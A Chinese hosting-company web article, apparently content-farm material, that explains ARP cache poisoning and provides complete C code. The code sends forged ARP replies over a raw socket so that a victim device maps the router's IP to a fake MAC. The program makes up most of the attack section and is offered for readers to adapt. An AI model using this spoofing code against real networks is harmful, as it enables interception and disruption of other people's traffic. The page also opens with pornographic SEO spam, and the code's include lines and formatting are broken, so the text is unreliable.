真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

Linux中怎么實(shí)現(xiàn)arp攻擊

今天就跟大家聊聊有關(guān)Linux中怎么實(shí)現(xiàn)arp攻擊,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)建站基于成都重慶香港及美國(guó)等地區(qū)分布式IDC機(jī)房數(shù)據(jù)中心構(gòu)建的電信大帶寬,聯(lián)通大帶寬,移動(dòng)大帶寬,多線BGP大帶寬租用,是為眾多客戶提供專業(yè)德陽(yáng)服務(wù)器托管報(bào)價(jià),主機(jī)托管價(jià)格性價(jià)比高,為金融證券行業(yè)服務(wù)器托管,ai人工智能服務(wù)器托管提供bgp線路100M獨(dú)享,G口帶寬及機(jī)柜租用的專業(yè)成都idc公司。

ARP:Address Resolution Protocol 地址解析協(xié)議。它是一個(gè)鏈路層的協(xié)議。工作在OSI模型的第二層。

    由于以太網(wǎng)交換設(shè)備不能直接識(shí)別32位的IP地址。事實(shí)上它們都是以48位的MAC地址傳輸數(shù)據(jù)的,所以在工作時(shí)需要存在一種MAC地址和IP地址的對(duì)應(yīng)關(guān)系。而ARP協(xié)議就是用來(lái)確定這種關(guān)系的。

    網(wǎng)絡(luò)中所有的機(jī)器都包含ARP緩存,它存儲(chǔ)了本地網(wǎng)絡(luò)中最近時(shí)間的MAC地址和IP地址的對(duì)應(yīng)關(guān)系。正常情況下當(dāng)ARP工作時(shí),請(qǐng)求主機(jī)發(fā)出一個(gè)含有目標(biāo)IP的以太網(wǎng)廣播數(shù)據(jù),然后目標(biāo)IP會(huì)發(fā)出一個(gè)含有IP地址和對(duì)應(yīng)MAC地址的應(yīng)答包。這樣請(qǐng)求主機(jī)就能夠獲得一對(duì)IP地址和MAC地址,然后將這一組對(duì)應(yīng)關(guān)系放入ARP緩存。ARP緩存表采用老化機(jī)制,一段時(shí)間內(nèi)表中的某一行不用就會(huì)被刪除。

    而對(duì)于一臺(tái)局域網(wǎng)上的主機(jī),如果收到一個(gè)ARP應(yīng)答報(bào)文,即便它并沒(méi)有發(fā)送請(qǐng)求報(bào)文或者并不是它目標(biāo)IP的應(yīng)答報(bào)文,該主機(jī)也會(huì)將報(bào)文中的IP和MAC地址存入緩存。

    如此,我們只要讓被攻擊的目標(biāo)主機(jī)相信我們的MAC地址是網(wǎng)關(guān)的MAC地址。讓目標(biāo)主機(jī)的網(wǎng)關(guān)相信我們的MAC地址是被攻擊的

    目標(biāo)主機(jī)的MAC,那么所有要發(fā)往目標(biāo)主機(jī)的報(bào)文就會(huì)被發(fā)到我們的主機(jī)上。

靈魂作圖時(shí)間

Linux中怎么實(shí)現(xiàn)arp攻擊

Linux中怎么實(shí)現(xiàn)arp攻擊

下面進(jìn)行一次實(shí)踐,攻擊者為我的Ubuntu系統(tǒng)的電腦,被攻擊的為我的華為手機(jī)

Linux中怎么實(shí)現(xiàn)arp攻擊

代碼如下:

#include 
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define print_errno(fmt, ...) \    printf("[%d] errno=%d (%s) #" fmt, \        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv) {
   struct ether_header *eth = NULL;
   struct ether_arp *arp = NULL;
   struct ifreq ifr;
   struct in_addr daddr;
   struct in_addr saddr;
   struct sockaddr_ll sll;
   int skfd;int n = 0;
   unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻擊對(duì)象的mac地址
     daddr.s_addr = inet_addr("192.168.0.125");//被攻擊對(duì)象的ip地址

     unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻擊對(duì)象的arp表改為這個(gè)假的mac地址
   saddr.s_addr = inet_addr("192.168.0.1");//路由器

   memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
   if (skfd < 0) {        print_errno("socket() failed! \n");
       return -1;    }    bzero(&ifr,sizeof(ifr));
   strcpy(ifr.ifr_name, "wlp8s0");//這里是我的網(wǎng)卡名字,要改為你的網(wǎng)卡名字,使用ifconfig查看

   if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {        print_errno("ioctl() SIOCGIFINDEX failed!\n");
       return -1;    }
   printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);    bzero(&sll, sizeof(sll));    sll.sll_ifindex  = ifr.ifr_ifindex;    sll.sll_family   = PF_PACKET;    sll.sll_protocol = htons(ETH_P_ALL);    eth = (struct ether_header*)s_ip_frame_data;    eth->ether_type = htons(ETHERTYPE_ARP);
   memcpy(eth->ether_dhost, dmac, ETH_ALEN);
   memcpy(eth->ether_shost, smac, ETH_ALEN);    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));    arp->arp_hrd = htons(ARPHRD_ETHER);    arp->arp_pro = htons(ETHERTYPE_IP);    arp->arp_hln = ETH_ALEN;    arp->arp_pln = 4;    arp->arp_op  = htons(ARPOP_REPLY);//ARPOP_REQUEST  ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不說(shuō)了

   memcpy(arp->arp_sha, smac, ETH_ALEN);
   memcpy(arp->arp_spa, &saddr.s_addr, 4);
   memcpy(arp->arp_tha, dmac, ETH_ALEN);
   memcpy(arp->arp_tpa, &daddr.s_addr, 4);    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \    (struct sockaddr*)&sll, sizeof(sll));
   if (n < 0) {        print_errno("sendto() failed!\n");    }else {
   printf("sendto() n = %d \n", n);    }    close(skfd);
   return 0; }

看完上述內(nèi)容,你們對(duì)Linux中怎么實(shí)現(xiàn)arp攻擊有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。


本文標(biāo)題:Linux中怎么實(shí)現(xiàn)arp攻擊
網(wǎng)頁(yè)網(wǎng)址:http://weahome.cn/article/jdojcg.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部